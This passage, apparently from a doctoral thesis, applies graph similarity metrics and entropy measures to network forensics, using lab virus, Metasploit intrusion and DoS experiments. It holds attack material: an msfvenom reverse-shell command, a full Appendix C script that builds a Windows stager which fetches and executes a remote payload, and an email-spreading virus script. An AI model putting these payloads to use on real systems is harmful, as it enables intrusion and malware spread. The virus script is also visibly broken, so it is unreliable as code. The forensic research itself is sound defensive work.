how many changes are required to cause graph G2 to become isomorphic to graph G1.  

Comparing the graph in figure 9 with the graph in figure 13, it is clear that the only changes 

required are the addition of one vertex (G) and two edges. This produces a GED = 3, which is 

quite low. The GED indicates that the attacks may have the same threat actor as their source. 

     Next the maximum common subgraph (MCS) method was applied. Simply removing the 

node G with its two edges, all remaining vertices and edges are a common subgraph. As was 

discussed in section 4.1 the MCS problem can frequently take substantially longer to solve. 

However, the small size of the graph of infected nodes makes it more tractable in this 

experimental study. Appendix E contains an algorithm for finding the MCS of two graphs. In 

this case the MCS was a rather large portion of the two graphs G1 and G2. That MCS is shown 

in figure 20. 
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Figure 20 Maximum Common Subgraph of Virus Experiments 

     The next mechanism used to test the similarity of the two virus outbreaks is the partial 

isomorphism described in sections 3.5 and 4.1. That formula was provided in section 3.4 and is 

reproduced here as equation 20. 

𝐼𝑑 =

(∑ 𝐺1(𝑣)
𝑛
𝑖=1 =𝐺2(𝑣))

𝑛

+(∑ 𝐺(𝐸)𝑛
𝑖=1 =𝐺2(𝐸))

𝑛
+

(∑ 𝐺𝐼(𝜓)
𝑛
𝑖=1 =𝐺2(𝜓))

𝑛

3
        (20) 

     In this experimental study the incidence function is sending the virus via email. And in this 

experiment both graphs have the same incidence functions for all edges. The calculation is 

reduced to what is shown in equation 21. 

𝐼𝑑 =
(7)

8

+(12)

15
+

(12)

15

3
                                                                                                                        (21) 

     The degree of isomorphism is 0.825 or 82.5%. This is a high value. The degree of 

isomorphism indicates that the two attacks may be attributable to the same threat actor.  The 

degree of certainty can be viewed as the degree of isomorphism. For example, the examiner 

could interpret this as an 82.5% chance that the two attacks have a related threat actor and/or 

thereat vector. The maximum common subgraph and the graph edit distance also support the 

conclusion that there is a relationship between threat actor and/or threat vector for the two 

attacks. Having three separate mathematical measures that all indicate a high degree of 

similarity in the two attacks makes the probability of the same threat actor being the cause of 



78 

 

both attacks, substantial. Given the parameters of this controlled experiment, the same threat 

actor was indeed responsible for both attacks. In practical terms, this is used when an 

investigator has a reason to suspect the attack was perpetrated by a threat actor who is 

responsible for a known attack. In that scenario an investigator can compare one virus attack 

with unknown origin and/or vector to an attack with a known origin and vector. The various 

similarity metrics generated via graph theory can lead to rejecting or accepting the hypothesis 

that the two attacks were initiated by the same threat actor and/or threat vector. 

     It can also be useful to compare the two graphs spectra to determine if they are cospectral 

mates. The two spectra are shown in table 9. 

Table 9 Comparing Graph Spectra 

First 

Experiment 

Second 

Experiment  

0 0 
 

-1.7466 -1.6816 
 

-1 -1 
 

-1 -1 
 

-1 -0.1947 
 

0 0.6716 
 

0.5451 1 
 

4.2015 4.5479 
 

   
     From table 9 it is clear that the two spectra are not identical. However, they are quite close. 

3 of the eigenvalues are identical and 3 others are very close. This again supports the 

conclusion that there is a connection between these graphs. 

     While the two modeling experiments to indicate the methodology is sound, it is important to 

test the negative case. That means checking the case where a different virus is introduced via a 

different machine, and the virus spread is also analyzed with graph theory. For this experiment 

a virus made with the Black Host Virus Maker tool was used. That tool is shown in figure 21. 
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Figure 21 Black Host Virus Maker 

      This tool can be downloaded for free from http://www.blackhost.xyz.  It was set to a) place 

a popup window stating “infected” then open explorer and attempt to copy itself to shared 

folders on the network using a batch file. The batch file is given in appendix D. The file was 

placed in the C:\shared folder of the B node, a Windows 10 virtual machine.  

     As this experiment is meant as a validation step for the previous two experiments, only the 

final outcome at T = 15 is analyzed.  The infection at T = 15  is shown in table 10. 

Table 10 Experiment 3 Final Infection 

Node T=15 

A  

B Infected 

C  

D Infected 

E  

F Infected 

G  

H  

 

     The subgraph containing only infected vertices is shown in figure 22. 
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Figure 22 Experiment 3 Subgraph 

      The adjacency matrix for the entire graph, showing only the infected nodes is given in 

figure 23. 

 

Figure 23 Adjacency Matrix for Virus Experiment 3 

     The eigenvalues for the final time, T = 15 are given in table 11. 

Table 11 Eigenvalues for Virus Experiment 3 

 T = 15 

A 1.0000 

B -1.0000 

C 0.0000 

D 0.0000 

E 0.0000 

F 0.0000 

G 0.0000 

H 0.0000 

 

   Given the small number of infected vertices, the graph spectrum is not as informative as it 

was in the first to cases. However, the main focus of this third experiment is to compare the 

graphs. Therefore, the graph in experiment 3 was compared with the graph in experiment 2.   

Again, the first method applied was graph edit distance (GED). 5 vertices and 13 edges must be 
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added to the graph of experiment 3 in order for it to be isomorphic to the graph of experiment 

2. Conversely, one could remove 5 vertices and 13 edges from the graph of experiment 2 to 

make it isomorphic with the graph of experiment 3. In either case, this results in a GED = 18. 

The GED between the graphs of experiment 1 and 2 was 3. 

     Next the percentage of isomorphism calculation was applied. The values for this formula 

are shown in equation 23. 

𝐼𝑑 =
(3)

8

+(2)

15
+

(0)

15

3
                            (23)                                                                                                               

      Note that there were no incidence functions in common. Experiments 1 and 2 spread via 

email. In experiment 3 the virus spread via copying to network drives. The Id value is .1694, or 

16.94%. This value is quite low. Given the parameters of this controlled experiment it is known 

that experiment 3 used a different virus, that was introduced at a different vertex, and spread 

via a different method.  And two methods of fingerprinting demonstrated this virus breach was 

substantially different than the first two. 

     The study of similarity can be extended to the spectra of the three graphs.  This is shown in 

table 12. 

Table 12 Comparing Graph Spectra 

Experiment 

1 

Experiment 

2 

Experiment 

3 

0 0 1 

-1.7466 -1.6816 -1 

-1 -1 0 

-1 -1 0 

-1 -0.1947 0 

0 0.6716 0 

0.5451 1 0 

4.2015 4.5479 0 

   
     It is clear from examining the graph spectra, that while experiments 1 and 2 have substantial 

similarities in their spectra, experiment 3 is quite divergent from the other two. Thus, graph 
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spectral analysis further confirms  that the two first experiments have a strong correlation, 

while the third is quite dissimilar.  

5.1.3 Virus Experiment Summary 

    These three modeling experiments coupled with the previous published peer reviewed 

studies (Easttom, 2020a; Easttom & Adda, 2020) indicate the current methodology is sound. 

The methodology us useful for addressing the issue of identifying what devices in a network 

incident should be imaged and analyzed in more depth. This aspect of the current methodology 

addresses one of the gaps in current network forensics identified in section 2.3. 

     These experiments also demonstrated the validity of the network fingerprinting 

methodology described in section 4.1. Two attacks using the same virus, that spread in the 

same manner, starting from the same node had very high indicators of similarity. A different 

virus, spreading in a different manner, starting from a different node, had a substantially 

different fingerprint. The use of controlled experiments is an important aspect of validating any 

technique. 

5.2 Network Intrusion Fingerprinting 

 The methodology utilized in this experiment was published in part previously as part of 

this study (Easttom & Adda, 2020b). The purpose of these experiments is to test only the 

network fingerprinting aspect of the current methodology. This was tested in the previous 

section, using computer viruses. It is tested again in this section using Metasploit intrusions 

into the network. 

      In this experiment two breaches were conducted in order to determine if an attack by the 

same attacker, using the same attack vector would yield substantially the same fingerprint. An 

msfvenom reverse shell payload was sent to the initial target machine.  

5.2.1 Network Intrusion Experiment 1 

     For the first experiment testing network intrusion fingerprinting, the initial target machine 

was node F, the Windows 7 virtual machine. When the payload was clicked on, a TCP reverse 
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shell was initiated back to the attacking Kali Linux machine. The msfvenom package was 

created as shown here: 

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.0.1 

LPORT=3333 -f exe > test.exe 

 Once a tunnel was established, the attacking machine attempted to determine other targets 

in the network, and to pivot to those machines. The first step was to seek out shared drives on 

other machines that could be copied to. This only allowed nodes B, C, and D to be accessed. 

These were the Windows 10 machines. From those machines unsuccessful attempts were made 

to pivot to the Windows Server, Ubuntu Linux, and Android phone device. The graph of this 

attack, including just the affected nodes is shown in figure 24. 

 

 

Figure 24 Intrusion Experiment 1 

     In this experiment, the graph is a digraph. This is because the directionality of the attack is 

known. The attack is from the Kali Linux machine (node A) to nodes B, C, And F. Thus, the 

arc from A to B, C, and F. The edge connection B and C is simply denoting that those 

machines are directly connected. In section 4.3.2 using information theory as an element of the 

incidence function or the weighting of an edge, was explored. However, that is not the most 

appropriate method in this case. In this case the connection between node A and the victim 

nodes is the sending of a metasploit encoding package. Therefore, the transmission of that 
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payload via email is the incidence function. This is rendered as a simple function in equation 

22. 

𝜓 = 𝐸𝑚            (22) 

5.2.2 Network Intrusion Fingerprinting Experiment 2 

     The first was followed be a second attack on the same network. However, the second attack 

began with a stealthier payload. A published Windows Server 2016 custom exploit was used 

from GitHub. This payload was sent to the Windows Server 2016 and facilitated access to that 

machine. From the Windows Server 2016, the attacker again tried to use shared folders to 

access other machines. This was successful on nodes B, C, D, and F. These are the Windows 

7/10 virtual machines. The attempt to pivot to the Ubuntu or Android devices using shared 

folders was unsuccessful. The graph of this attack, including just the affected nodes is shown in 

figure 25. 

 

 

Figure 25 Intrusion Experiment 2 

     As with the first experiment, the actual attack vectors are represented by arcs. The incidental 

connections between nodes are represented by edges. 

      The controlled parameters of the experiment have the same attack vector (a Metasploit 

payload being delivered) followed by the same pivot attempt (using shared folders) and 
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executed by the same threat actor. These known parameters make this an ideal experiment for 

testing the attack fingerprinting techniques. Any of the fingerprinting techniques discussed in 

4.1.2 should yield a strong match for these two attacks. 

      The next phase of this part of the study was to apply the fingerprinting techniques of 

section 4.1.2 to these two attack graphs. Given the graphs in figures 13 and 14 doe have a 

different number of nodes and edges, it is not necessary to analyze if they are isomorphic. They 

are clearly not isomorphic. However, by removing just node D, the two graphs are isomorphic. 

This demonstrates that an induced subgraph is isomorphic. In fact, the graph in figure 13, is an 

induced subgraph of the graph in figure 14. This alone would be sufficient to infer common 

attackers. However, there are additional fingerprinting methods to utilize. The next 

fingerprinting mechanism to apply is the partial isomorphism. That formula first presented in 

section 4.1.2 is shown here as equation 24. 

Id =  

(∑ 𝐺1(𝑣)
𝑛
𝑖=1 =𝐺2(𝑣))

𝑛

+(∑ 𝐺(𝐸)𝑛
𝑖=1 =𝐺2(𝐸))

𝑛
+

(∑ 𝐺𝐼(𝜓)
𝑛
𝑖=1 =𝐺2(𝜓))

𝑛

3
                                                               (24)                                                       

      In this case 4 of the 5 vertices are equal; 4 of the 7 edges are equivalent; and 3 of the 3 

incidence functions are equal. This yields an Id value of  .7905, a 79.05% isomorphism. This is 

a strong level of isomorphism. Coupling that with the aforementioned induced subgraph 

fingerprint matching provides strong evidence that these two attacks were perpetrated by the 

same attacker using the same attack vector.  

      There were additional methods for analyzing similarity in graphs discussed in chapter 3. 

One of those methods is graph edit distance. That formula was presented in chapter 3 and is 

shown here as equation 25. 

𝐺𝐸𝐷(𝐺1, 𝐺2) = 𝑚𝑖𝑛
(𝑒1⋅⋯𝑒𝑛)∈𝑝(𝐺𝐽𝐺2)

∑ 𝐶(ⅇ𝑖)
𝑛
𝑖=1             (25) 

      When the graph in figures 13 and 14 are compared, the number of changes needed  can be 

readily determined. The first change required is the addition of one vertex, D. Then the 
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addition of four edges are required. This changes the graph in figure 13 to be isomorphic to 

figure 14.  Thus, the GED (G1, G2) = 4. This is a relatively small number of changes. However, 

the GED method, by itself, does not take into account weightings or incidence functions. 

However, it is yet another graph theoretic indicator that the two graphs of the two incidents are 

quite similar.  

      These results matches the known parameters of the experiment. These results coupled with 

the previous peer-reviewed publication of additional testing of this methodology (Easttom & 

Adda, 2020b), indicate the methodology is sound. This aspect of the current methodology 

addresses one of the gaps in current network forensics identified in section 2.3. 

5.3 DoS Experiment 

    Denial of service attacks are unfortunately quite prevalent. The network forensics of DOS 

attacks, whether they are distributed (DDoS) or not, is different from other network forensics 

applications. The goal is not to determine the nature and extent of the attack afterwards, that is 

usually abundantly obvious. The issue is detecting when there is a DoS attack in progress, as 

opposed to simply a spike in data. The current experiment is similar too, but an extension of 

experiments previously published as part of this study (Easttom & Adda, 2020a). 

     In the case of a Denial-of-Service attack, the information flow should increase dramatically, 

but the diversity of the data should reduce (Idhammad, Afdel, & Belouch, 2017). This is due to 

many DoS attacks being predicated on a flood of a specific type of packet (Wong & Tan, 

2014). 

     The first phase of the experiment was to determine normal network activity on this network. 

The experimental virtual network previously described in this chapter was used. Various 

common services such as DNS, FTP, and email were initiated on the machines, and standard 

network and file transfer activity was initiated. Then the standard traffic flow was measured 

over a period of 1 hour.  The mean value of traffic is shown in table 13. 



87 

 

Table 13 Protocol Usage for DoS experiment 

Port Protocol Mean % of Traffic TCP/UDP 

20/21 FTP 2% TCP 

53 DNS 15% UDP 

80 HTTP 18.5% TCP 

137, 137, 137 NetBios 9.4% TCP 

443 HTTPS 32.5% TCP 

445 SMB 12.4% TCP 

465 SMTPS 6.5% TCP 

995 POP3S 3.7% TCP 

 

     The mean bandwidth used was 3.24 Mbps. Information theoretic values were measured 

before the attack occurred. These values are reported in table 13. The values in table 13 were 

calculated using an online calculator found at https://bpmsg.com/tools/div-calc.php. For this 

experiment a new diversity index will be added. That is the Berger-Parker Index (Lakićević & 

Srđević, 2018). The formula for the Berger-Parker Index is rather simple and is shown in 

equation 26.  

𝐷𝐵𝑃 =
1

𝑝1
                (26) 

        The Berger-Parker index is a measure of the dominance of one particular class within the 

group. It is often used in ecological studies (Niu, et al., 2017). The information theoretic values 

are shown in table 14. 

Table 14 Pre-attack Information Theory Values 

Metric Value 

Shannon Entropy 1.8210 

Simpson Index 19.3% 

Berger-Parker Index 32.5% 

 

     Next the tool Low Earth Orbit Ion Cannon(LOIC) was launched to flood the network with 

packets.  This changed the protocol usage percentage, to what is shown in table 15. 

Table 15 Protocol Usage During Attack 

Port Protocol Mean % of Traffic TCP/UDP 

20/21 FTP 1% TCP 

53 DNS 2.5% UDP 

80 HTTP 85% TCP 

137, 137, 137 NetBios 2.4% TCP 

443 HTTPS 3.5% TCP 
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445 SMB 2% TCP 

465 SMTPS 2.5% TCP 

995 POP3S 1.1 TCP 

     Information theoretic values were calculated on the traffic during the attack. Those results 

are shown in table 16. 

Table 16 Information Theoretic Values During Attack 

Metric Value 

Shannon Entropy 0.7033 

Simpson Index 72.6% 

Berger-Parker Index 85.0% 

     Comparing tables 13 and 15 it is immediately clear that the diversity of information was 

substantially lowered, as indicated by the increased Simpson index. It also apparent that the 

Shannon entropy lowered substantially. The Berger-Parker Index also increased substantially. 

A high Berger-Parker index indicates that the data is dominated by one specific class. This data 

indicates that during a DoS attack there was a decrease in the diversity of data, and a decrease 

in information entropy. This is consistent with previous published portions of this study 

(Easttom & Adda, 2020a). Noting a substantial increase in data flow, with a decrease in 

diversity indicates the traffic is a Denial-of-Service attack. In this experiment, it is known that 

it is a DoS attack. However, in a real-world analysis the forensic examiner will be examining 

logs to try and determine what occurred. This aspect of the current methodology can be used to 

determine if a DoS attack was used. 

     This information can be integrated into various systems for identifying ongoing DoS 

attacks. Intrusion Detection Systems (IDS) and next generation firewalls need mathematically 

sound mechanisms of differentiating between a generalized increase in bandwidth utilization 

and a DoS attack. Normal traffic simply increasing would be the result of multiple services and 

users simply using more bandwidth. That scenario would be expected to have a higher 

Shannon entropy with loser Simpson and Bergen-Parker indices, indicating diverse data. Other 

information theoretic metrics could also be used. 
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Chapter 6: Conclusions and Further Work 

6.1 Results and Analysis 

     The experiments described in chapter 5 implemented the framework described in chapter 4. 

The modeling experiments described in this current research have demonstrated several useful 

applications of graph theory to network forensics. The application of measures of centrality in 

a graph including applying the Perron–Frobenius theorem have been demonstrated to provide 

insight into which machines are most related to the network incident being investigated. This 

addresses a substantial gap in network forensics identified in section 2.3. 

     The use of graph spectra was also useful in identifying specific vertices that should be the 

subject of more extensive forensic analysis. The Perron–Frobenius theorem teaches that the 

vertex with the highest positive eigenvalue is central in the matrix. The experiments conducted 

support this assertion. In each case the graph vertex with the highest positive eigenvalue also 

was found to be important in the attack. This provides additional guidance to the forensic 

practitioner in identifying those machines which should be imaged and analyzed. 

     The fingerprinting experiments demonstrated the use of isomorphisms and 

homomorphisms, particularly of induced subgraphs is useful in attack attribution. Furthermore, 

the use of partial isomorphisms was demonstrated to be useful in attack attribution. 

Furthermore, maximum common subgraph (MSC) and graph editing distance (GED) were also 

applied. In 5 separate experiments using both computer viruses and Metasploit attacks, these 

methods for attack fingerprinting were validated.  This indicates the current methodology is a 

sound method for network attack attribution.  Attack attribution has been identified as an issue 

not only for network forensics, but for cybersecurity in general. 

     Of particular interest was the comparing of two very similar network virus breaches to a 

third quite dissimilar breach. The network fingerprinting techniques did identify the third 

attack as substantially dissimilar from the other two attacks. The use of a negative example 



90 

 

provided further validation of the methodology posited in this current research. This allows the 

three research questions posited in section 1.3.2 to be answered: 

• Can graph theory methods effectively identify specific devices for more detailed 

forensic analysis? 

Yes, the experiments conducted in this current research, coupled with previously 

published experiments done as part of this study, confirm that a range of graph theoretic 

techniques are effective in identifying those network devices that should be the subject 

of more detailed examination and analysis. 

• Can spectral graph theory help to understand the nature of an attack and to guide 

forensic analysis? 

Yes, the experiments conducted in this current research, coupled with previously 

published experiments done as part of this study, confirm  that analyzing the spectrum 

of a graph yields a range of data that are important to the forensic examiner. 

• Can graph similarity metrics be effectively utilized to fingerprint network attacks? 

Yes, the experiments conducted in this current research, coupled with previously 

published experiments done as part of this study, confirm that network fingerprinting 

can be effectively accomplished utilizing graph theoretical methods. 

 The current research provides a robust framework that can be used for network forensics. 

Prior to this thesis there has not been a mathematically rigorous framework for network 

forensics. The creation and validation of such a framework represents a substantial contribution 

to the field of network forensics. The mathematical basis of the framework provides a high 

level of reliability and scientific rigor to the framework. The experimental tests validate the 

practical applicability of the framework. 

6.2 Suggestions for Further Work 
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     The methodology presented in this study suggests additional research. The most obvious 

avenue for additional research would be additional experimental studies. While this 

methodology has been the subject of peer reviewed published experiments (Easttom, 2020a; 

Easttom & Adda, 2020a;Easttom & Adda, 2020b; Easttom & Adda, 2021), additional 

experiments are warranted. Repeating the experiment is a foundational principle of science. 

     Another area of research would be to further explore aspects of algebraic graph theory. 

Hoffman-Delsarte inequality was not utilized in this current research. This inequality provides 

the independence number for the graph. The independence number is an indicator of how 

independent the nodes in the graph are. Independence of a node can be important when 

analyzing a network breach. It could identify vertices that are resistant to the breach in 

question. This inequality was briefly mentioned in chapter 3. 

     The Lovász number from information theory was also not applied. This number was 

introduced in chapter 3. The Lovász number of a graph is a metric that indicates the upper 

bound of the Shannon capacity of the graph. When applying information theory to either edge 

weighting or to incidence functions, it can be advantageous to know the upper bound of the 

graphs information capacity. 

      It may also be advantageous to explore applications of fuzzy graph theory, hypergraph 

theory, and extremal graph theory to network forensics.  There are a host of graph theoretic 

tools that could be applied. These tools were not applied in this particular study, in the interest 

of maintaining focus. While the current research expands the use of graph theory to network 

forensics beyond any previous work, there is still clearly more that can be done. 

     In addition to general areas of graph theory that could be explored for network forensics, 

specific techniques are valid additional research topics. As one example, the Dulmage–

Mendelsohn decomposition is a technique for partitioning a graph. This may be useful in 

identifying subgraphs for fingerprinting of network incidents. Chromatic graph theory may 
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even provide some insight into network fingerprinting. As one example from chromatic graph 

theory are H-colorings. An H-coloring of a graph G is a homomorphism from H to G. 

Therefore, chromatic graph theory could provide yet another approach to fingerprinting 

network attacks. 

     Graph kernels can also be explored as yet another means of fingerprinting network 

intrusions. A graph kernel is a function the measures the similarity between two graphs by 

computing an inner product of the graphs (Sugiyama, Ghisu, Llinares-López, & Borgwardt, 

2018). There are variations on the graph kernel such as the Weisfeiler-Lehman graph kernel 

which works by computing the inner product of the histogram vectors of both graphs (Dehmer 

& Emmert-Streib, 2014) 

     What is abundantly clear is that there are an abundant set of techniques in graph theory that 

can and should be explored in relation to network forensics. As was discussed in section 2.4, 

there have been some extremely limited previous attempts to utilize graph theory for network 

forensics. The current research is a substantial expansion and addition to that previous work. 

However, there is clearly additional research work to be done. 
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Appendix B: Experimental Environment 

 

There were multiple experimental environments described in chapter 5. This appendix provides 

a summary of the experimental environments. 

Environment 1 

All virtual machines are hosted in Oracle Virtual Box version 6.16. 

Table 17 Virtual Environment 1 

Vertex Description 

A 
Kali Linux attack virtual 
machine with 2 Gb RAM. 

B 

Wndows 10 virtual machine 

with 2 GB RAM 

C 

Wndows 10 virtual machine 

with 2 GB RAM 

D 

Wndows 10 virtual machine 

with 2 GB RAM 

E 

Ubuntu Linux virtual machine 

with 1 GB RAM 

F 

Windows 7 virtual machine with 

1 GB RAM 

G 

Windows 2016 Server with 8 

GB 

H 

Samsung Galaxy S7 Mobile 

phone running Android 8.0 

 

    All of the virtual machines are connected wirelessly. Two nodes (F and G) have only limited 

direct connections. The other nodes are all interconnected. 
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Appendix C: Metasploit Script 

This is the code for the Metasploit script from GitHub 

(https://github.com/DoktorCranium/metasploit/blob/master/CUSTOM-meterpreter.sh) used in 

the experiments in chapter 5. 

#!/bin/bash 

clear 

echo "****************************************************************" 

echo "    Automatic C source code generator - FOR METASPLOIT          " 

echo "           Based on rsmudge metasploit-loader                   " 

echo "****************************************************************"   

echo -en 'Metasploit server IP : '  

read ip 

echo -en 'Metasploit port number : '  

read port  

 

echo '#include <stdio.h>'> temp.c  

echo '#include <stdlib.h>' >> temp.c  

echo '#include <winsock2.h>' >> temp.c 

echo '#include <windows.h>' >> temp.c  

echo -n 'unsigned char server[]="' >> temp.c  

echo -n $ip >> temp.c  

echo -n '";' >> temp.c  

echo '' >> temp.c  

echo -n 'unsigned char serverp[]="' >> temp.c  

echo -n $port >> temp.c  
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echo -n '";' >> temp.c  

echo '' >> temp.c  

echo 'void winsock_init() {' >> temp.c  

echo '    WSADATA    wsaData;' >> temp.c  

echo '    WORD    wVersionRequested;' >> temp.c  

echo '    wVersionRequested = MAKEWORD(2, 2);'>> temp.c  

echo '    if (WSAStartup(wVersionRequested, &wsaData) < 0) {' >> temp.c  

echo '         printf("bad\n"); '>> temp.c  

echo '         WSACleanup(); '>> temp.c  

echo '        exit(1);'>> temp.c  

echo '    }' >> temp.c  

echo ' }' >> temp.c  

echo ' void punt(SOCKET my_socket, char * error) {' >> temp.c  

echo '    printf("r %s\n", error);'>> temp.c  

echo '    closesocket(my_socket);'>> temp.c  

echo '    WSACleanup();'>> temp.c  

echo '    exit(1);' >> temp.c  

echo ' }' >> temp.c  

echo ' int recv_all(SOCKET my_socket, void * buffer, int len) {' >> temp.c  

echo '    int    tret   = 0;'>> temp.c  

echo '    int    nret   = 0;'>>temp.c  

echo '    void * startb = buffer;'>> temp.c  

echo '    while (tret < len) {'>>temp.c  

echo '        nret = recv(my_socket, (char *)startb, len - tret, 0);'>> temp.c  

echo '        startb += nret;'>> temp.c  
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echo '        tret   += nret;'>>temp.c  

echo '         if (nret == SOCKET_ERROR)'>> temp.c  

echo '            punt(my_socket, "no data");'>> temp.c  

echo '    }'>>temp.c  

echo '    return tret;'>> temp.c  

echo '}' >> temp.c   

echo 'SOCKET wsconnect(char * targetip, int port) {'>> temp.c  

echo '    struct hostent *        target;' >> temp.c  

echo '    struct sockaddr_in     sock;' >> temp.c 

echo '    SOCKET             my_socket;'>>temp.c  

echo '    my_socket = socket(AF_INET, SOCK_STREAM, 0);'>> temp.c  

echo '     if (my_socket == INVALID_SOCKET)'>> temp.c  

echo '        punt(my_socket, ".");'>>temp.c  

echo '    target = gethostbyname(targetip);'>>temp.c  

echo '    if (target == NULL)'>>temp.c  

echo '        punt(my_socket, "..");'>>temp.c  

echo '    memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length);'>>temp.c  

echo '    sock.sin_family = AF_INET;'>> temp.c  

echo '    sock.sin_port = htons(port);'>>temp.c  

echo '    if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) )'>>temp.c  

echo '         punt(my_socket, "...");'>>temp.c   

echo '    return my_socket;'>>temp.c  

echo '}' >> temp.c  

echo 'int main(int argc, char * argv[]) {' >> temp.c  

echo '  FreeConsole();'>>temp.c  
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echo '    Sleep(10);'>>temp.c  

echo '    ULONG32 size;'>>temp.c  

echo '    char * buffer;'>>temp.c  

echo '    void (*function)();'>>temp.c  

echo '    winsock_init();'>> temp.c  

echo '    SOCKET my_socket = wsconnect(server, atoi(serverp));'>>temp.c  

echo '    int count = recv(my_socket, (char *)&size, 4, 0);'>>temp.c  

echo '    if (count != 4 || size <= 0)'>>temp.c  

echo '        punt(my_socket, "error lenght\n");'>>temp.c  

echo '    buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, 

PAGE_EXECUTE_READWRITE);'>>temp.c  

echo '    if (buffer == NULL)'>>temp.c  

echo '        punt(my_socket, "error in buf\n");'>>temp.c  

echo '    buffer[0] = 0xBF;'>>temp.c  

echo '    memcpy(buffer + 1, &my_socket, 4);'>>temp.c  

echo '    count = recv_all(my_socket, buffer + 5, size);'>>temp.c  

echo '    function = (void (*)())buffer;'>>temp.c  

echo '    function();'>>temp.c  

echo '    return 0;'>>temp.c  

echo '}' >> temp.c  

echo '(+) Compiling binary ..'  

i686-w64-mingw32-gcc  temp.c -o payload.exe -lws2_32 -mwindows  

ls -la  temp.c 

strip payload.exe  

file=`ls -la payload.exe` ; echo '(+)' $file 
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Appendix D: Virus Script 

Scripts used as viruses in this study are given here in their entirety. 

D.1 Python Virus Script 

This is a simple Python virus that simply sends itself to another computer on the virtual 

network. 

import smtplib 

import random 

from os.path import basename 

from email.mime.application import MIMEApplication 

from email.mime.multipart import MIMEMultipart 

from email.mime.text import MIMEText 

from email.utils import COMMASPACE, formatdate 

def send_mail() 

    send_from= chuckeasttom@gmail.com 

    subject = “test virus attack” 

    text = “this is a test innocuous virus” 

    assert isinstance(send_to, list) 

    NumVM = random.randint(1, 10) 

   send_to  = “VM” + NumVM + “@chuckeasttom.com” 

    msg = MIMEMultipart() 

    msg['From'] = send_from 

    msg['To'] = COMMASPACE.join(send_to) 

    msg['Date'] = formatdate(localtime=True) 

    msg['Subject'] = subject 

 



114 

 

    msg.attach(MIMEText(text)) 

    for f in files or []: 

        with open(f, "rb") as fil: 

            part = MIMEApplication( 

                fil.read(), 

                Name=basename(f) 

            ) 

        # After the file is closed 

        part['Content-Disposition'] = 'attachment; filename="%s"' % basename(f) 

        msg.attach(part) 

    smtp = smtplib.SMTP(server) 

    smtp.sendmail(send_from, send_to, msg.as_string()) 

    smtp.close() 

D.2 Batch File to Copy Virus 

@echo off 

copy c:\shared\mytestvirus.exe H:\shared\ 

D.3 Script to Open File 

import random 

Send = random.randint(1, 10) 

if Send % 2 = 0: 

 execfile(virustest.py') 
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Appendix E: Algorithm to Solve MCS 

This algorithm has been published in peer reviewed journals, and can be found at 

https://match.pmf.kg.ac.rs/electronic_versions/Match77/n2/match77n2_213-232.pdf  

Data: vertex set G (of modular product), current clique C, max clique ω(G)  

Result: Maximum Clique ω(G)  

Function FindCliques(G): 

While G is not empty do  

        select v from G;  

          C = C∪v;  

           FindCliques(NG(v)) ;  

            If |C| > |ω(G)| then  

                        ω(G) = C 

            end 

            G = G\v ; 

 end 
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Appendix F: Proof of Scalability 

     One question is whether or not the methodology in this thesis can be applied to larger 

networks. The expiriments in chapter 5 are done with a relatively small network. The first step 

in establishing whether the current methodology is scalable,  is mathematical. The graph 

theoretic techniques used in this research already have existing proofs. Those proofs 

demonstrate that the techniques work regardless of the size of the graph. The mathematical 

proofs, many found in almost any textbook on graph theory, are not contingent upon the size of 

the graph. While there are proofs for all the graph theoretic techniques used in the current 

research, two such proofs will be given here as exemplars. 

     The first proof to describe is the proof of the No-Homomorphism Lemma which states: Let 

G, H be graphs such that H is vertex-transitive and G→H.  Then i(G) ≥ i(H). The proof of this 

lemma has been published in many texts. It is shown here from Hahn and Tardif (1997). 

 

Figure 26 Proof of No-Homomorphism Lemma 
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     The proof shown in figure 9 is one example of the graph theoretical techniques in this thesis 

already being proven. Another common graph theory proof assigned in graph theory courses, is 

to prove that the sum of the degrees of the vertices of any finite graph is even. The usual 

expected proof is something like the proof shown here: 

1. Begin with two vertices and no edge connection. Each vertex has a degree of 0, an even 

number. 

2. Now being adding edges. Each edge added either connects to another vertex, or back to 

itself. Either the degree of two vertices is increased by one (for a total of two) or one 

degrees vertex is increased by two. In either case, the sum of the degrees is increased by 

two, maintaining an even number. 

      This is a rather simple theorem with an equally simple proof. Again, these proofs are given 

as examples. Literally, every aspect of graph theory utilized in this current research has 

mathematical proofs. The mathematical proofs render the size of the graph irrelevant. As 

shown in the proof of the No-Homeomorphism Lemma, the size of the graph is not a 

component in determining homomorphism. 

     All of the elements of graph theory presented in this thesis already have established 

mathematical proofs (Dehmer & Emmert-Streib, 2014;). These proofs are size independent 

(Godsil & Royle, 2013). Therefore, algebraic graph theory, spectral graph theory, metrics of 

centrality, all apply to a graph, regardless of the size of the graph (Gross, J, Yellen, J., & 

Zhang, 2013). 

     In addition to the mathematical proofs, there is established research showing the gamut of 

graph theoretical methods being applied to very large networks (Capocci, et al., 2005; Stivala, 

et al., 2016). These applications were used to analyze network traffic, not network forensics. 

However, these published studies do show the applicability of these techniques is not 

contingent upon network size (Pavlopoulos, 2011; Sporns, 2018). There are established, 
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authoritative textbooks describing graph theory being applicable to graphs of any size (Lovász, 

2012). Both mathematical proofs and established research demonstrate that the graph theoretic 

tools used in this thesis are not dependent upon the size of the graph. 

     The information theory methods used in this research are also well-established 

mathematical techniques, with established proofs (Hayashi, 2017; Kakihara, 2016). Shannon 

entropy, Lovász number (Moser & Tardos, 2010), and the Rényi entropy (Frank & Lieb, 2013) 

all have published proofs. These proofs, like the graph theory proofs, are not contingent upon 

the size of the data. A combination of mathematical proofs and established research show that 

the techniques that are used in the current research are applicable to networks of any size. 
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